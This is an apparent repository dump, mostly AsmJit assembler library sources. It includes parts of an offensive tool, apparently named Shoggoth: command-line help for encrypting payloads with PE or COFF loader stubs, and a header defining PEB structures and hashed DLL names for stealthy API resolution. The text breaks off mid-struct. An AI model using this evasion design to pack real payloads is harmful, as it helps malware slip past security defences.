EXPECT(c->prev() == nullptr); 171 | EXPECT(c->next() == nullptr); 172 | 173 | EXPECT(list.first() == d); 174 | EXPECT(list.last() == a); 175 | EXPECT(d->prev() == nullptr); 176 | EXPECT(d->next() == a); 177 | EXPECT(a->prev() == d); 178 | EXPECT(a->next() == nullptr); 179 | } 180 | #endif 181 | 182 | ASMJIT_END_NAMESPACE 183 | -------------------------------------------------------------------------------- /src/asmjit/core/archtraits.cpp: -------------------------------------------------------------------------------- 1 | // AsmJit - Machine code generation for C++ 2 | // 3 | // * Official AsmJit Home Page: https://asmjit.com 4 | // * Official Github Repository: https://github.com/asmjit/asmjit 5 | // 6 | // Copyright (c) 2008-2020 The AsmJit Authors 7 | // 8 | // This software is provided 'as-is', without any express or implied 9 | // warranty. In no event will the authors be held liable for any damages 10 | // arising from the use of this software. 11 | // 12 | // Permission is granted to anyone to use this software for any purpose, 13 | // including commercial applications, and to alter it and redistribute it 14 | // freely, subject to the following restrictions: 15 | // 16 | // 1. The origin of this software must not be misrepresented; you must not 17 | // claim that you wrote the original software. If you use this software 18 | // in a product, an acknowledgment in the product documentation would be 19 | // appreciated but is not required. 20 | // 2. Altered source versions must be plainly marked as such, and must not be 21 | // misrepresented as being the original software. 22 | // 3. This notice may not be removed or altered from any source distribution. 23 | 24 | #include "../core/api-build_p.h" 25 | #include "../core/archtraits.h" 26 | #include "../core/misc_p.h" 27 | 28 | #if !defined(ASMJIT_NO_X86) 29 | #include "../x86/x86archtraits_p.h" 30 | #endif 31 | 32 | #ifdef ASMJIT_BUILD_ARM 33 | #include "../arm/armarchtraits_p.h" 34 | #endif 35 | 36 | ASMJIT_BEGIN_NAMESPACE 37 | 38 | // ============================================================================ 39 | // [asmjit::ArchTraits] 40 | // ============================================================================ 41 | 42 | static const constexpr ArchTraits noArchTraits = { 43 | // SP/FP/LR/PC. 44 | 0xFF, 0xFF, 0xFF, 0xFF, 45 | 46 | // Reserved, 47 | { 0, 0, 0 }, 48 | 49 | // HW stack alignment. 50 | 0, 51 | 52 | // Min/Max stack offset. 53 | 0, 0, 54 | 55 | // ISA features [Gp, Vec, Other0, Other1]. 56 | { 0, 0, 0, 0}, 57 | 58 | // RegTypeToSignature. 59 | { { 0 } }, 60 | 61 | // RegTypeToTypeId. 62 | { 0 }, 63 | 64 | // TypeIdToRegType. 65 | { 0 }, 66 | 67 | // Word names of 8-bit, 16-bit, 32-bit, and 64-bit quantities. 68 | { 69 | ISAWordNameId::kByte, 70 | ISAWordNameId::kHalf, 71 | ISAWordNameId::kWord, 72 | ISAWordNameId::kQuad 73 | } 74 | }; 75 | 76 | ASMJIT_VARAPI const ArchTraits _archTraits[Environment::kArchCount] = { 77 | // No architecture. 78 | noArchTraits, 79 | 80 | // X86/X86 architectures. 81 | #if !defined(ASMJIT_NO_X86) 82 | x86::x86ArchTraits, 83 | x86::x64ArchTraits, 84 | #else 85 | noArchTraits, 86 | noArchTraits, 87 | #endif 88 | 89 | // RISCV32/RISCV64 architectures. 90 | noArchTraits, 91 | noArchTraits, 92 | 93 | // ARM architecture 94 | noArchTraits, 95 | 96 | // AArch64 architecture. 97 | #ifdef ASMJIT_BUILD_ARM 98 | arm::a64ArchTraits, 99 | #else 100 | noArchTraits, 101 | #endif 102 | 103 | // ARM/Thumb architecture. 104 | noArchTraits, 105 | 106 | // Reserved. 107 | noArchTraits, 108 | 109 | // MIPS32/MIPS64 110 | noArchTraits, 111 | noArchTraits 112 | }; 113 | 114 | // ============================================================================ 115 | // [asmjit::ArchUtils] 116 | // ============================================================================ 117 | 118 | ASMJIT_FAVOR_SIZE Error ArchUtils::typeIdToRegInfo(uint32_t arch, uint32_t typeId, uint32_t* typeIdOut, RegInfo* regInfoOut) noexcept { 119 | const ArchTraits& archTraits = ArchTraits::byArch(arch); 120 | 121 | // Passed RegType instead of TypeId? 122 | if (typeId <= BaseReg::kTypeMax) 123 | typeId = archTraits.regTypeToTypeId(typeId); 124 | 125 | if (ASMJIT_UNLIKELY(!Type::isValid(typeId))) 126 | return DebugUtils::errored(kErrorInvalidTypeId); 127 | 128 | // First normalize architecture dependent types. 129 | if (Type::isAbstract(typeId)) { 130 | bool is32Bit = Environment::is32Bit(arch); 131 | if (typeId == Type::kIdIntPtr) 132 | typeId = is32Bit ? Type::kIdI32 : Type::kIdI64; 133 | else 134 | typeId = is32Bit ? Type::kIdU32 : Type::kIdU64; 135 | } 136 | 137 | // Type size helps to construct all groups of registers. 138 | // TypeId is invalid if the size is zero. 139 | uint32_t size = Type::sizeOf(typeId); 140 | if (ASMJIT_UNLIKELY(!size)) 141 | return DebugUtils::errored(kErrorInvalidTypeId); 142 | 143 | if (ASMJIT_UNLIKELY(typeId == Type::kIdF80)) 144 | return DebugUtils::errored(kErrorInvalidUseOfF80); 145 | 146 | uint32_t regType = 0; 147 | if (typeId >= Type::_kIdBaseStart && typeId < Type::_kIdVec32Start) { 148 | regType = archTraits._typeIdToRegType[typeId - Type::_kIdBaseStart]; 149 | if (!regType) { 150 | if (typeId == Type::kIdI64 || typeId == Type::kIdU64) 151 | return DebugUtils::errored(kErrorInvalidUseOfGpq); 152 | else 153 | return DebugUtils::errored(kErrorInvalidTypeId); 154 | } 155 | } 156 | else { 157 | if (size <= 8 && archTraits._regInfo[BaseReg::kTypeVec64].isValid()) 158 | regType = BaseReg::kTypeVec64; 159 | else if (size <= 16 && archTraits._regInfo[BaseReg::kTypeVec128].isValid()) 160 | regType = BaseReg::kTypeVec128; 161 | else if (size == 32 && archTraits._regInfo[BaseReg::kTypeVec256].isValid()) 162 | regType = BaseReg::kTypeVec256; 163 | else if (archTraits._regInfo[BaseReg::kTypeVec512].isValid()) 164 | regType = BaseReg::kTypeVec512; 165 | else 166 | return DebugUtils::errored(kErrorInvalidTypeId); 167 | } 168 | 169 | *typeIdOut = typeId; 170 | regInfoOut->reset(archTraits.regTypeToSignature(regType)); 171 | return kErrorOk; 172 | } 173 | 174 | ASMJIT_END_NAMESPACE 175 | -------------------------------------------------------------------------------- /src/asmjit/core/emitterutils.cpp: -------------------------------------------------------------------------------- 1 | // AsmJit - Machine code generation for C++ 2 | // 3 | // * Official AsmJit Home Page: https://asmjit.com 4 | // * Official Github Repository: https://github.com/asmjit/asmjit 5 | // 6 | // Copyright (c) 2008-2020 The AsmJit Authors 7 | // 8 | // This software is provided 'as-is', without any express or implied 9 | // warranty. In no event will the authors be held liable for any damages 10 | // arising from the use of this software. 11 | // 12 | // Permission is granted to anyone to use this software for any purpose, 13 | // including commercial applications, and to alter it and redistribute it 14 | // freely, subject to the following restrictions: 15 | // 16 | // 1. The origin of this software must not be misrepresented; you must not 17 | // claim that you wrote the original software. If you use this software 18 | // in a product, an acknowledgment in the product documentation would be 19 | // appreciated but is not required. 20 | // 2. Altered source versions must be plainly marked as such, and must not be 21 | // misrepresented as being the original software. 22 | // 3. This notice may not be removed or altered from any source distribution. 23 | 24 | #include "../core/api-build_p.h" 25 | #include "../core/assembler.h" 26 | #include "../core/emitterutils_p.h" 27 | #include "../core/formatter.h" 28 | #include "../core/logger.h" 29 | #include "../core/support.h" 30 | 31 | ASMJIT_BEGIN_NAMESPACE 32 | 33 | // ============================================================================ 34 | // [asmjit::EmitterUtils] 35 | // ============================================================================ 36 | 37 | namespace EmitterUtils { 38 | 39 | #ifndef ASMJIT_NO_LOGGING 40 | 41 | Error formatLine(String& sb, const uint8_t* binData, size_t binSize, size_t dispSize, size_t immSize, const char* comment) noexcept { 42 | size_t currentSize = sb.size(); 43 | size_t commentSize = comment ? Support::strLen(comment, Globals::kMaxCommentSize) : 0; 44 | 45 | ASMJIT_ASSERT(binSize >= dispSize); 46 | const size_t kNoBinSize = SIZE_MAX; 47 | 48 | if ((binSize != 0 && binSize != kNoBinSize) || commentSize) { 49 | size_t align = kMaxInstLineSize; 50 | char sep = ';'; 51 | 52 | for (size_t i = (binSize == kNoBinSize); i < 2; i++) { 53 | size_t begin = sb.size(); 54 | ASMJIT_PROPAGATE(sb.padEnd(align)); 55 | 56 | if (sep) { 57 | ASMJIT_PROPAGATE(sb.append(sep)); 58 | ASMJIT_PROPAGATE(sb.append(' ')); 59 | } 60 | 61 | // Append binary data or comment. 62 | if (i == 0) { 63 | ASMJIT_PROPAGATE(sb.appendHex(binData, binSize - dispSize - immSize)); 64 | ASMJIT_PROPAGATE(sb.appendChars('.', dispSize * 2)); 65 | ASMJIT_PROPAGATE(sb.appendHex(binData + binSize - immSize, immSize)); 66 | if (commentSize == 0) break; 67 | } 68 | else { 69 | ASMJIT_PROPAGATE(sb.append(comment, commentSize)); 70 | } 71 | 72 | currentSize += sb.size() - begin; 73 | align += kMaxBinarySize; 74 | sep = '|'; 75 | } 76 | } 77 | 78 | return sb.append('\n'); 79 | } 80 | 81 | void logLabelBound(BaseAssembler* self, const Label& label) noexcept { 82 | Logger* logger = self->logger(); 83 | 84 | StringTmp<512> sb; 85 | size_t binSize = logger->hasFlag(FormatOptions::kFlagMachineCode) ? size_t(0) : SIZE_MAX; 86 | 87 | sb.appendChars(' ', logger->indentation(FormatOptions::kIndentationLabel)); 88 | Formatter::formatLabel(sb, logger->flags(), self, label.id()); 89 | sb.append(':'); 90 | EmitterUtils::formatLine(sb, nullptr, binSize, 0, 0, self->_inlineComment); 91 | logger->log(sb.data(), sb.size()); 92 | } 93 | 94 | void logInstructionEmitted( 95 | BaseAssembler* self, 96 | uint32_t instId, uint32_t options, const Operand_& o0, const Operand_& o1, const Operand_& o2, const Operand_* opExt, 97 | uint32_t relSize, uint32_t immSize, uint8_t* afterCursor) { 98 | 99 | Logger* logger = self->logger(); 100 | ASMJIT_ASSERT(logger != nullptr); 101 | 102 | StringTmp<256> sb; 103 | uint32_t flags = logger->flags(); 104 | 105 | uint8_t* beforeCursor = self->bufferPtr(); 106 | intptr_t emittedSize = (intptr_t)(afterCursor - beforeCursor); 107 | 108 | Operand_ opArray[Globals::kMaxOpCount]; 109 | EmitterUtils::opArrayFromEmitArgs(opArray, o0, o1, o2, opExt); 110 | 111 | sb.appendChars(' ', logger->indentation(FormatOptions::kIndentationCode)); 112 | Formatter::formatInstruction(sb, flags, self, self->arch(), BaseInst(instId, options, self->extraReg()), opArray, Globals::kMaxOpCount); 113 | 114 | if ((flags & FormatOptions::kFlagMachineCode) != 0) 115 | EmitterUtils::formatLine(sb, self->bufferPtr(), size_t(emittedSize), relSize, immSize, self->inlineComment()); 116 | else 117 | EmitterUtils::formatLine(sb, nullptr, SIZE_MAX, 0, 0, self->inlineComment()); 118 | logger->log(sb); 119 | } 120 | 121 | Error logInstructionFailed( 122 | BaseAssembler* self, 123 | Error err, 124 | uint32_t instId, uint32_t options, const Operand_& o0, const Operand_& o1, const Operand_& o2, const Operand_* opExt) { 125 | 126 | StringTmp<256> sb; 127 | sb.append(DebugUtils::errorAsString(err)); 128 | sb.append(": "); 129 | 130 | Operand_ opArray[Globals::kMaxOpCount]; 131 | EmitterUtils::opArrayFromEmitArgs(opArray, o0, o1, o2, opExt); 132 | 133 | Formatter::formatInstruction(sb, 0, self, self->arch(), BaseInst(instId, options, self->extraReg()), opArray, Globals::kMaxOpCount); 134 | 135 | if (self->inlineComment()) { 136 | sb.append(" ; "); 137 | sb.append(self->inlineComment()); 138 | } 139 | 140 | self->resetInstOptions(); 141 | self->resetExtraReg(); 142 | self->resetInlineComment(); 143 | return self->reportError(err, sb.data()); 144 | } 145 | 146 | #endif 147 | 148 | } // {EmitterUtils} 149 | 150 | ASMJIT_END_NAMESPACE 151 | -------------------------------------------------------------------------------- /src/asmjit/core/cpuinfo.h: -------------------------------------------------------------------------------- 1 | // AsmJit - Machine code generation for C++ 2 | // 3 | // * Official AsmJit Home Page: https://asmjit.com 4 | // * Official Github Repository: https://github.com/asmjit/asmjit 5 | // 6 | // Copyright (c) 2008-2020 The AsmJit Authors 7 | // 8 | // This software is provided 'as-is', without any express or implied 9 | // warranty. In no event will the authors be held liable for any damages 10 | // arising from the use of this software. 11 | // 12 | // Permission is granted to anyone to use this software for any purpose, 13 | // including commercial applications, and to alter it and redistribute it 14 | // freely, subject to the following restrictions: 15 | // 16 | // 1. The origin of this software must not be misrepresented; you must not 17 | // claim that you wrote the original software. If you use this software 18 | // in a product, an acknowledgment in the product documentation would be 19 | // appreciated but is not required. 20 | // 2. Altered source versions must be plainly marked as such, and must not be 21 | // misrepresented as being the original software. 22 | // 3. This notice may not be removed or altered from any source distribution. 23 | 24 | #ifndef ASMJIT_CORE_CPUINFO_H_INCLUDED 25 | #define ASMJIT_CORE_CPUINFO_H_INCLUDED 26 | 27 | #include "../core/archtraits.h" 28 | #include "../core/features.h" 29 | #include "../core/globals.h" 30 | #include "../core/string.h" 31 | 32 | ASMJIT_BEGIN_NAMESPACE 33 | 34 | //! \addtogroup asmjit_core 35 | //! \{ 36 | 37 | // ============================================================================ 38 | // [asmjit::CpuInfo] 39 | // ============================================================================ 40 | 41 | //! CPU information. 42 | class CpuInfo { 43 | public: 44 | //! Architecture. 45 | uint8_t _arch; 46 | //! Sub-architecture. 47 | uint8_t _subArch; 48 | //! Reserved for future use. 49 | uint16_t _reserved; 50 | //! CPU family ID. 51 | uint32_t _familyId; 52 | //! CPU model ID. 53 | uint32_t _modelId; 54 | //! CPU brand ID. 55 | uint32_t _brandId; 56 | //! CPU stepping. 57 | uint32_t _stepping; 58 | //! Processor type. 59 | uint32_t _processorType; 60 | //! Maximum number of addressable IDs for logical processors. 61 | uint32_t _maxLogicalProcessors; 62 | //! Cache line size (in bytes). 63 | uint32_t _cacheLineSize; 64 | //! Number of hardware threads. 65 | uint32_t _hwThreadCount; 66 | 67 | //! CPU vendor string. 68 | FixedString<16> _vendor; 69 | //! CPU brand string. 70 | FixedString<64> _brand; 71 | //! CPU features. 72 | BaseFeatures _features; 73 | 74 | //! \name Construction & Destruction 75 | //! \{ 76 | 77 | inline CpuInfo() noexcept { reset(); } 78 | inline CpuInfo(const CpuInfo& other) noexcept = default; 79 | 80 | inline explicit CpuInfo(Globals::NoInit_) noexcept 81 | : _features(Globals::NoInit) {}; 82 | 83 | //! Returns the host CPU information. 84 | ASMJIT_API static const CpuInfo& host() noexcept; 85 | 86 | //! Initializes CpuInfo to the given architecture, see \ref Environment. 87 | inline void initArch(uint32_t arch, uint32_t subArch = 0u) noexcept { 88 | _arch = uint8_t(arch); 89 | _subArch = uint8_t(subArch); 90 | } 91 | 92 | inline void reset() noexcept { memset(this, 0, sizeof(*this)); } 93 | 94 | //! \} 95 | 96 | //! \name Overloaded Operators 97 | //! \{ 98 | 99 | inline CpuInfo& operator=(const CpuInfo& other) noexcept = default; 100 | 101 | //! \} 102 | 103 | //! \name Accessors 104 | //! \{ 105 | 106 | //! Returns the CPU architecture id, see \ref Environment::Arch. 107 | inline uint32_t arch() const noexcept { return _arch; } 108 | //! Returns the CPU architecture sub-id, see \ref Environment::SubArch. 109 | inline uint32_t subArch() const noexcept { return _subArch; } 110 | 111 | //! Returns the CPU family ID. 112 | inline uint32_t familyId() const noexcept { return _familyId; } 113 | //! Returns the CPU model ID. 114 | inline uint32_t modelId() const noexcept { return _modelId; } 115 | //! Returns the CPU brand id. 116 | inline uint32_t brandId() const noexcept { return _brandId; } 117 | //! Returns the CPU stepping. 118 | inline uint32_t stepping() const noexcept { return _stepping; } 119 | //! Returns the processor type. 120 | inline uint32_t processorType() const noexcept { return _processorType; } 121 | //! Returns the number of maximum logical processors. 122 | inline uint32_t maxLogicalProcessors() const noexcept { return _maxLogicalProcessors; } 123 | 124 | //! Returns the size of a cache line flush. 125 | inline uint32_t cacheLineSize() const noexcept { return _cacheLineSize; } 126 | //! Returns number of hardware threads available. 127 | inline uint32_t hwThreadCount() const noexcept { return _hwThreadCount; } 128 | 129 | //! Returns the CPU vendor. 130 | inline const char* vendor() const noexcept { return _vendor.str; } 131 | //! Tests whether the CPU vendor is equal to `s`. 132 | inline bool isVendor(const char* s) const noexcept { return _vendor.eq(s); } 133 | 134 | //! Returns the CPU brand string. 135 | inline const char* brand() const noexcept { return _brand.str; } 136 | 137 | //! Returns all CPU features as `BaseFeatures`, cast to your arch-specific class 138 | //! if needed. 139 | template 140 | inline const T& features() const noexcept { return _features.as(); } 141 | 142 | //! Tests whether the CPU has the given `feature`. 143 | inline bool hasFeature(uint32_t featureId) const noexcept { return _features.has(featureId); } 144 | //! Adds the given CPU `feature` to the list of this CpuInfo features. 145 | inline CpuInfo& addFeature(uint32_t featureId) noexcept { _features.add(featureId); return *this; } 146 | 147 | //! \} 148 | }; 149 | 150 | //! \} 151 | 152 | ASMJIT_END_NAMESPACE 153 | 154 | #endif // ASMJIT_CORE_CPUINFO_H_INCLUDED 155 | -------------------------------------------------------------------------------- /src/OptionsHelper.cpp: -------------------------------------------------------------------------------- 1 | #include "OptionsHelper.h" 2 | 3 | void PrintHeader() { 4 | const char* shoggothHeader = R"( 5 | ______ _ _ 6 | / _____) | _ | | 7 | ( (____ | |__ ___ ____ ____ ___ _| |_| |__ 8 | \____ \| _ \ / _ \ / _ |/ _ |/ _ (_ _) _ \ 9 | _____) ) | | | |_| ( (_| ( (_| | |_| || |_| | | | 10 | (______/|_| |_|\___/ \___ |\___ |\___/ \__)_| |_| 11 | (_____(_____| 12 | 13 | by @R0h1rr1m 14 | 15 | "Tekeli-li! Tekeli-li!" 16 | )"; 17 | std::cout << shoggothHeader << std::endl; 18 | } 19 | 20 | void PrintHelp(char *binaryName) { 21 | const char* optionsString = R"( 22 | -h | --help Show the help message. 23 | -v | --verbose Enable a more verbose output. 24 | -i | --input Input path of payload to be encrypted. (Mandatory) 25 | -o | --output Output path for encrypted input. (Mandatory) 26 | -s | --seed Set seed value for randomization. 27 | -m | --mode Set payload encryption mode. Available mods are: (Mandatory) 28 | [*] raw - Shoggoth doesn't append a loader stub. (Default mode) 29 | [*] pe - Shoggoth appends a PE loader stub. The input should be valid x64 PE. 30 | [*] coff - Shoggoth appends a COFF loader stub. The input should be valid x64 COFF. 31 | --coff-arg Set argument for COFF loader. Generate this string using COFFArgGenerator/beacon_generate.py. 32 | example: --coff-arg 0a0000000600000068656c6c6f00 33 | Only used in COFF loader mode. (Thanks to @Octoberfest7) 34 | -k | --key Set first encryption key instead of random key. 35 | --dont-do-first-encryption Don't do the first (stream cipher) encryption. 36 | --dont-do-second-encryption Don't do the second (block cipher) encryption. 37 | --encrypt-only-decryptor Encrypt only decryptor stub in the second encryption. 38 | )"; 39 | std::cout << "Usage of " << binaryName << ":" << std::endl; 40 | std::cout << optionsString << std::endl; 41 | 42 | } 43 | 44 | 45 | bool ParseArgs(int argc, char* argv[], OPTIONS& configurationOptions) { 46 | configurationOptions.operationMode = RAW_MODE; 47 | for (int i = 1; i < argc; i++) { 48 | if (_strcmpi(argv[i], "-v") == 0 || _strcmpi(argv[i], "--verbose") == 0) { 49 | configurationOptions.isVerbose = true; 50 | } 51 | else if (_strcmpi(argv[i], "-h") == 0 || _strcmpi(argv[i], "--help") == 0) { 52 | PrintHelp(argv[0]); 53 | exit(0); 54 | } 55 | else if (_strcmpi(argv[i], "-i") == 0 || _strcmpi(argv[i], "--input") == 0) { 56 | i++; 57 | if (i > argc) { 58 | return false; 59 | } 60 | configurationOptions.inputPath = argv[i]; 61 | } 62 | else if (_strcmpi(argv[i], "-o") == 0 || _strcmpi(argv[i], "--output") == 0) { 63 | i++; 64 | if (i > argc) { 65 | return false; 66 | } 67 | configurationOptions.outputPath = argv[i]; 68 | } 69 | else if (_strcmpi(argv[i], "-s") == 0 || _strcmpi(argv[i], "--seed") == 0) { 70 | i++; 71 | if (i > argc) { 72 | return false; 73 | } 74 | configurationOptions.useSeed = true; 75 | configurationOptions.seed = atoi(argv[i]); 76 | } 77 | else if (_strcmpi(argv[i], "-m") == 0 || _strcmpi(argv[i], "--mode") == 0) { 78 | i++; 79 | if (i > argc) { 80 | return false; 81 | } 82 | if (_strcmpi(argv[i], "raw") == 0) { 83 | configurationOptions.operationMode = RAW_MODE; 84 | } 85 | else if (_strcmpi(argv[i], "pe") == 0) { 86 | configurationOptions.operationMode = PE_LOADER_MODE; 87 | } 88 | else if (_strcmpi(argv[i], "coff") == 0) { 89 | configurationOptions.operationMode = COFF_LOADER_MODE; 90 | } 91 | else { 92 | return false; 93 | } 94 | } 95 | else if (_strcmpi(argv[i], "-k") == 0 || _strcmpi(argv[i], "--key") == 0) { 96 | i++; 97 | if (i > argc) { 98 | return false; 99 | } 100 | configurationOptions.encryptionKey = argv[i]; 101 | configurationOptions.encryptionKeySize = strlen(argv[i]); 102 | } 103 | else if (_strcmpi(argv[i], "--dont-do-first-encryption") == 0) { 104 | configurationOptions.dontDoFirstEncryption = true; 105 | } 106 | else if (_strcmpi(argv[i], "--dont-do-second-encryption") == 0) { 107 | configurationOptions.dontDoSecondEncryption = true; 108 | } 109 | else if (_strcmpi(argv[i], "--encrypt-only-decryptor") == 0) { 110 | configurationOptions.encryptOnlyDecryptor = true; 111 | } 112 | else if (_strcmpi(argv[i], "--coff-arg") == 0) { 113 | i++; 114 | if (i > argc) { 115 | return false; 116 | } 117 | configurationOptions.coffArg = argv[i]; 118 | } 119 | } 120 | if (configurationOptions.operationMode == INVALID_MODE || configurationOptions.inputPath == NULL || configurationOptions.outputPath == NULL) { 121 | return false; 122 | } 123 | return true; 124 | } -------------------------------------------------------------------------------- /src/asmjit/core/assembler.h: -------------------------------------------------------------------------------- 1 | // AsmJit - Machine code generation for C++ 2 | // 3 | // * Official AsmJit Home Page: https://asmjit.com 4 | // * Official Github Repository: https://github.com/asmjit/asmjit 5 | // 6 | // Copyright (c) 2008-2020 The AsmJit Authors 7 | // 8 | // This software is provided 'as-is', without any express or implied 9 | // warranty. In no event will the authors be held liable for any damages 10 | // arising from the use of this software. 11 | // 12 | // Permission is granted to anyone to use this software for any purpose, 13 | // including commercial applications, and to alter it and redistribute it 14 | // freely, subject to the following restrictions: 15 | // 16 | // 1. The origin of this software must not be misrepresented; you must not 17 | // claim that you wrote the original software. If you use this software 18 | // in a product, an acknowledgment in the product documentation would be 19 | // appreciated but is not required. 20 | // 2. Altered source versions must be plainly marked as such, and must not be 21 | // misrepresented as being the original software. 22 | // 3. This notice may not be removed or altered from any source distribution. 23 | 24 | #ifndef ASMJIT_CORE_ASSEMBLER_H_INCLUDED 25 | #define ASMJIT_CORE_ASSEMBLER_H_INCLUDED 26 | 27 | #include "../core/codeholder.h" 28 | #include "../core/datatypes.h" 29 | #include "../core/emitter.h" 30 | #include "../core/operand.h" 31 | 32 | ASMJIT_BEGIN_NAMESPACE 33 | 34 | //! \addtogroup asmjit_assembler 35 | //! \{ 36 | 37 | // ============================================================================ 38 | // [asmjit::BaseAssembler] 39 | // ============================================================================ 40 | 41 | //! Base assembler. 42 | //! 43 | //! This is a base class that provides interface used by architecture specific 44 | //! assembler implementations. Assembler doesn't hold any data, instead it's 45 | //! attached to \ref CodeHolder, which provides all the data that Assembler 46 | //! needs and which can be altered by it. 47 | //! 48 | //! Check out architecture specific assemblers for more details and examples: 49 | //! 50 | //! - \ref x86::Assembler - X86/X64 assembler implementation. 51 | class ASMJIT_VIRTAPI BaseAssembler : public BaseEmitter { 52 | public: 53 | ASMJIT_NONCOPYABLE(BaseAssembler) 54 | typedef BaseEmitter Base; 55 | 56 | //! Current section where the assembling happens. 57 | Section* _section = nullptr; 58 | //! Start of the CodeBuffer of the current section. 59 | uint8_t* _bufferData = nullptr; 60 | //! End (first invalid byte) of the current section. 61 | uint8_t* _bufferEnd = nullptr; 62 | //! Pointer in the CodeBuffer of the current section. 63 | uint8_t* _bufferPtr = nullptr; 64 | 65 | //! \name Construction & Destruction 66 | //! \{ 67 | 68 | //! Creates a new `BaseAssembler` instance. 69 | ASMJIT_API BaseAssembler() noexcept; 70 | //! Destroys the `BaseAssembler` instance. 71 | ASMJIT_API virtual ~BaseAssembler() noexcept; 72 | 73 | //! \} 74 | 75 | //! \name Code-Buffer Management 76 | //! \{ 77 | 78 | //! Returns the capacity of the current CodeBuffer. 79 | inline size_t bufferCapacity() const noexcept { return (size_t)(_bufferEnd - _bufferData); } 80 | //! Returns the number of remaining bytes in the current CodeBuffer. 81 | inline size_t remainingSpace() const noexcept { return (size_t)(_bufferEnd - _bufferPtr); } 82 | 83 | //! Returns the current position in the CodeBuffer. 84 | inline size_t offset() const noexcept { return (size_t)(_bufferPtr - _bufferData); } 85 | 86 | //! Sets the current position in the CodeBuffer to `offset`. 87 | //! 88 | //! \note The `offset` cannot be greater than buffer size even if it's 89 | //! within the buffer's capacity. 90 | ASMJIT_API Error setOffset(size_t offset); 91 | 92 | //! Returns the start of the CodeBuffer in the current section. 93 | inline uint8_t* bufferData() const noexcept { return _bufferData; } 94 | //! Returns the end (first invalid byte) in the current section. 95 | inline uint8_t* bufferEnd() const noexcept { return _bufferEnd; } 96 | //! Returns the current pointer in the CodeBuffer in the current section. 97 | inline uint8_t* bufferPtr() const noexcept { return _bufferPtr; } 98 | 99 | //! \} 100 | 101 | //! \name Section Management 102 | //! \{ 103 | 104 | //! Returns the current section. 105 | inline Section* currentSection() const noexcept { return _section; } 106 | 107 | ASMJIT_API Error section(Section* section) override; 108 | 109 | //! \} 110 | 111 | //! \name Label Management 112 | //! \{ 113 | 114 | ASMJIT_API Label newLabel() override; 115 | ASMJIT_API Label newNamedLabel(const char* name, size_t nameSize = SIZE_MAX, uint32_t type = Label::kTypeGlobal, uint32_t parentId = Globals::kInvalidId) override; 116 | ASMJIT_API Error bind(const Label& label) override; 117 | 118 | //! \} 119 | 120 | //! \name Embed 121 | //! \{ 122 | 123 | ASMJIT_API Error embed(const void* data, size_t dataSize) override; 124 | ASMJIT_API Error embedDataArray(uint32_t typeId, const void* data, size_t itemCount, size_t repeatCount = 1) override; 125 | ASMJIT_API Error embedConstPool(const Label& label, const ConstPool& pool) override; 126 | 127 | ASMJIT_API Error embedLabel(const Label& label, size_t dataSize = 0) override; 128 | ASMJIT_API Error embedLabelDelta(const Label& label, const Label& base, size_t dataSize = 0) override; 129 | 130 | //! \} 131 | 132 | //! \name Comment 133 | //! \{ 134 | 135 | ASMJIT_API Error comment(const char* data, size_t size = SIZE_MAX) override; 136 | 137 | //! \} 138 | 139 | //! \name Events 140 | //! \{ 141 | 142 | ASMJIT_API Error onAttach(CodeHolder* code) noexcept override; 143 | ASMJIT_API Error onDetach(CodeHolder* code) noexcept override; 144 | 145 | //! \} 146 | }; 147 | 148 | //! \} 149 | 150 | ASMJIT_END_NAMESPACE 151 | 152 | #endif // ASMJIT_CORE_ASSEMBLER_H_INCLUDED 153 | -------------------------------------------------------------------------------- /COFFLoader/APISolver.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | 5 | #define DEREF( name )*(UINT_PTR *)(name) 6 | #define DEREF_64( name )*(DWORD64 *)(name) 7 | #define DEREF_32( name )*(DWORD *)(name) 8 | #define DEREF_16( name )*(WORD *)(name) 9 | #define DEREF_8( name )*(BYTE *)(name) 10 | 11 | #define CRYPTED_HASH_KERNEL32 0x6945c952 12 | #define CRYPTED_HASH_SHLWAPIDLL 0xbe08b300 13 | 14 | #define CRYPT_KEY 0x19052727 15 | 16 | //redefine UNICODE_STR struct 17 | typedef struct UNICODE_STR { 18 | USHORT Length; 19 | USHORT MaximumLength; 20 | PWSTR pBuffer; 21 | } UNICODE_STR, * PUNICODE_STR; 22 | 23 | //redefine PEB_LDR_DATA struct 24 | typedef struct _PEB_LDR_DATA 25 | { 26 | DWORD dwLength; 27 | DWORD dwInitialized; 28 | LPVOID lpSsHandle; 29 | LIST_ENTRY InLoadOrderModuleList; 30 | LIST_ENTRY InMemoryOrderModuleList; 31 | LIST_ENTRY InInitializationOrderModuleList; 32 | LPVOID lpEntryInProgress; 33 | } PEB_LDR_DATA, * PPEB_LDR_DATA; 34 | 35 | //redefine LDR_DATA_TABLE_ENTRY struct 36 | typedef struct _LDR_DATA_TABLE_ENTRY 37 | { 38 | LIST_ENTRY InMemoryOrderModuleList; 39 | LIST_ENTRY InInitializationOrderModuleList; 40 | PVOID DllBase; 41 | PVOID EntryPoint; 42 | ULONG SizeOfImage; 43 | UNICODE_STR FullDllName; 44 | UNICODE_STR BaseDllName; 45 | ULONG Flags; 46 | SHORT LoadCount; 47 | SHORT TlsIndex; 48 | LIST_ENTRY HashTableEntry; 49 | ULONG TimeDateStamp; 50 | } LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; 51 | 52 | //redefine PEB_FREE_BLOCK struct 53 | typedef struct _PEB_FREE_BLOCK 54 | { 55 | struct _PEB_FREE_BLOCK* pNext; 56 | DWORD dwSize; 57 | } PEB_FREE_BLOCK, * PPEB_FREE_BLOCK; 58 | 59 | //redefine PEB struct 60 | typedef struct __PEB 61 | { 62 | BYTE bInheritedAddressSpace; 63 | BYTE bReadImageFileExecOptions; 64 | BYTE bBeingDebugged; 65 | BYTE bSpareBool; 66 | LPVOID lpMutant; 67 | LPVOID lpImageBaseAddress; 68 | PPEB_LDR_DATA pLdr; 69 | LPVOID lpProcessParameters; 70 | LPVOID lpSubSystemData; 71 | LPVOID lpProcessHeap; 72 | PRTL_CRITICAL_SECTION pFastPebLock; 73 | LPVOID lpFastPebLockRoutine; 74 | LPVOID lpFastPebUnlockRoutine; 75 | DWORD dwEnvironmentUpdateCount; 76 | LPVOID lpKernelCallbackTable; 77 | DWORD dwSystemReserved; 78 | DWORD dwAtlThunkSListPtr32; 79 | PPEB_FREE_BLOCK pFreeList; 80 | DWORD dwTlsExpansionCounter; 81 | LPVOID lpTlsBitmap; 82 | DWORD dwTlsBitmapBits[2]; 83 | LPVOID lpReadOnlySharedMemoryBase; 84 | LPVOID lpReadOnlySharedMemoryHeap; 85 | LPVOID 